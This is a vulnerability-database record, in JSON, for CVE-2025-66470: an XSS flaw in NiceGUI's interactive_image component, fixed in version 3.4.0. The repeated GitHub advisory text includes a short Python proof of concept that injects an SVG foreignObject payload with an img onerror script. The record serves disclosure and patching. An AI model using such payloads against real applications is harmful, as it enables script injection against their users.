{"id":"CVE-2025-66470","aliases":["EUVD-2025-201813","GHSA-2m4f-cg75-76w2","PYSEC-2026-1696"],"status":"published","title":"NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content","description":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG \u003cforeignObject\u003e tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00272,"percentile":0.19843,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-79"],"published":"2025-12-08T21:30:39Z","modified":"2026-10-28T02:30:33Z","exploits":[{"source":"pocgithub","id":"Jmehta10/CVE-2025-66470","title":"Jmehta10/CVE-2025-66470","date":"2025-12-11","url":"https://github.com/Jmehta10/CVE-2025-66470"}],"fixes":[{"ecosystem":"PyPI","package":"nicegui","fixed_in":["3.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nicegui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.3.1"},{"fixed":"3.4.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"nicegui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.0"}]}],"versions":["0.1.0","0.1.4","0.1.6","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.14","0.2.15","0.2.2","0.2.3","0.2.4","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.13","0.7.14","0.7.15","0.7.16","0.7.17","0.7.18","0.7.19","0.7.2","0.7.21","0.7.22","0.7.23","0.7.24","0.7.25","0.7.26","0.7.27","0.7.28","0.7.29","0.7.3","0.7.30","0.7.4","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.13","0.8.14","0.8.15","0.8.16","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.14","1.2.15","1.2.16","1.2.17","1.2.18","1.2.2","1.2.20","1.2.21","1.2.22","1.2.23","1.2.24","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.1","1.3.10","1.3.11","1.3.12","1.3.13","1.3.14","1.3.15","1.3.16","1.3.17","1.3.18","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.17","1.4.18","1.4.19","1.4.2","1.4.20","1.4.21","1.4.22","1.4.23","1.4.24","1.4.25","1.4.26","1.4.27","1.4.28","1.4.29","1.4.3","1.4.30","1.4.31","1.4.33","1.4.34","1.4.35","1.4.36","1.4.37","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.11.1","2.12.0","2.12.1","2.13.0","2.14.0","2.14.1","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.2.0","2.20.0","2.21.0","2.21.1","2.22.0","2.22.1","2.22.2","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.3.0","2.4.0","2.5.0","2.7.0","2.8.0","2.8.1","2.9.0","2.9.1","3.0.0","3.0.0rc1","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.2.0","3.3.0","3.3.1"]},{"source":"osv","ecosystem":"PyPI","package":"nicegui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.0"}]}],"versions":["0.1.0","0.1.4","0.1.6","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.14","0.2.15","0.2.2","0.2.3","0.2.4","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.13","0.7.14","0.7.15","0.7.16","0.7.17","0.7.18","0.7.19","0.7.2","0.7.21","0.7.22","0.7.23","0.7.24","0.7.25","0.7.26","0.7.27","0.7.28","0.7.29","0.7.3","0.7.30","0.7.4","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.13","0.8.14","0.8.15","0.8.16","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.10","1.1.11","1.1.2","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Advisory","advisory","web"]},{"url":"https://github.com/zauberzeug/nicegui/commit/58ad0b36e19922de16bbc79ea3ddd29851b1a3e3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66470","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2m4f-cg75-76w2","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66470.json","tags":["advisory"]},{"url":"https://github.com/zauberzeug/nicegui","tags":["package"]},{"url":"https://pypi.org/project/nicegui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-66470","title":"NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content","description":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG \u003cforeignObject\u003e tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.","status":"published","published":"2025-12-09T00:11:14.69Z","modified":"2025-12-09T16:03:45.875Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:53.157279Z"}],"euvd":[{"id":"EUVD-2025-201813","description":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG \u003cforeignObject\u003e tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.","status":"published","published":"2025-12-09T00:11:14Z","modified":"2025-12-09T16:03:45Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:49:08.049254Z"}],"ghsa":[{"id":"GHSA-2m4f-cg75-76w2","title":"NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content","description":"### Summary\nA Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `\u003cforeignObject\u003e` tag.\n\n### Details\nThe vulnerability is located in `nicegui/elements/interactive_image.js`.\nThe component uses the following code to render content:\n```javascript\n\u003cg v-html=\"content\"\u003e\u003c/g\u003e\n```\nVue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a \u003cforeignObject\u003e tag containing malicious scripts, bypassing typical image restrictions.\n\n### PoC\n```python\nfrom nicegui import ui\n\n@ui.page('/')\ndef main():\n    ui.label('NiceGUI SVG XSS PoC')\n    \n    # Standard image loading\n    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')\n    \n    # Payload: Embeds raw HTML execution inside SVG\n    # This executes immediately when the image component is rendered\n    img.content = (\n        '\u003cforeignObject\u003e'\n        '\u003cbody xmlns=\"[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)\"\u003e'\n        '\u003cimg src=x onerror=alert(\"XSS-SVG\")\u003e'\n        '\u003c/body\u003e'\n        '\u003c/foreignObject\u003e'\n    )\n\nui.run()\n```\n\n### Impact\n- Type: Reflected / Stored XSS (depending on data source)\n\n- Severity: Moderate\n\n- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.","status":"published","published":"2025-12-08T21:30:39Z","modified":"2025-12-09T16:32:10Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:12.222121Z"}],"nvd":[{"id":"CVE-2025-66470","description":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG \u003cforeignObject\u003e tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.","status":"published","published":"2025-12-09T01:16:54.957Z","modified":"2026-10-07T20:10:01.97Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:49.093461Z"}],"osv":[{"id":"CVE-2025-66470","title":"NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content","description":"NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG \u003cforeignObject\u003e tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.","status":"published","published":"2025-12-09T00:11:14.69Z","modified":"2026-10-28T02:30:33.983558822Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:52.202386Z"},{"id":"GHSA-2m4f-cg75-76w2","title":"NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content","description":"### Summary\nA Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `\u003cforeignObject\u003e` tag.\n\n### Details\nThe vulnerability is located in `nicegui/elements/interactive_image.js`.\nThe component uses the following code to render content:\n```javascript\n\u003cg v-html=\"content\"\u003e\u003c/g\u003e\n```\nVue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a \u003cforeignObject\u003e tag containing malicious scripts, bypassing typical image restrictions.\n\n### PoC\n```python\nfrom nicegui import ui\n\n@ui.page('/')\ndef main():\n    ui.label('NiceGUI SVG XSS PoC')\n    \n    # Standard image loading\n    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')\n    \n    # Payload: Embeds raw HTML execution inside SVG\n    # This executes immediately when the image component is rendered\n    img.content = (\n        '\u003cforeignObject\u003e'\n        '\u003cbody xmlns=\"[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)\"\u003e'\n        '\u003cimg src=x onerror=alert(\"XSS-SVG\")\u003e'\n        '\u003c/body\u003e'\n        '\u003c/foreignObject\u003e'\n    )\n\nui.run()\n```\n\n### Impact\n- Type: Reflected / Stored XSS (depending on data source)\n\n- Severity: Moderate\n\n- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.","status":"published","published":"2025-12-08T21:30:39Z","modified":"2026-07-07T17:56:37.836933471Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"PYSEC-2026-1696","title":"NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content","description":"### Summary\nA Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `\u003cforeignObject\u003e` tag.\n\n### Details\nThe vulnerability is located in `nicegui/elements/interactive_image.js`.\nThe component uses the following code to render content:\n```javascript\n\u003cg v-html=\"content\"\u003e\u003c/g\u003e\n```\nVue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a \u003cforeignObject\u003e tag containing malicious scripts, bypassing typical image restrictions.\n\n### PoC\n```python\nfrom nicegui import ui\n\n@ui.page('/')\ndef main():\n    ui.label('NiceGUI SVG XSS PoC')\n    \n    # Standard image loading\n    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')\n    \n    # Payload: Embeds raw HTML execution inside SVG\n    # This executes immediately when the image component is rendered\n    img.content = (\n        '\u003cforeignObject\u003e'\n        '\u003cbody xmlns=\"[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)\"\u003e'\n        '\u003cimg src=x onerror=alert(\"XSS-SVG\")\u003e'\n        '\u003c/body\u003e'\n        '\u003c/foreignObject\u003e'\n    )\n\nui.run()\n```\n\n### Impact\n- Type: Reflected / Stored XSS (depending on data source)\n\n- Severity: Moderate\n\n- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.","status":"published","published":"2026-07-07T16:03:12.469922Z","modified":"2026-07-07T17:46:58.060549429Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}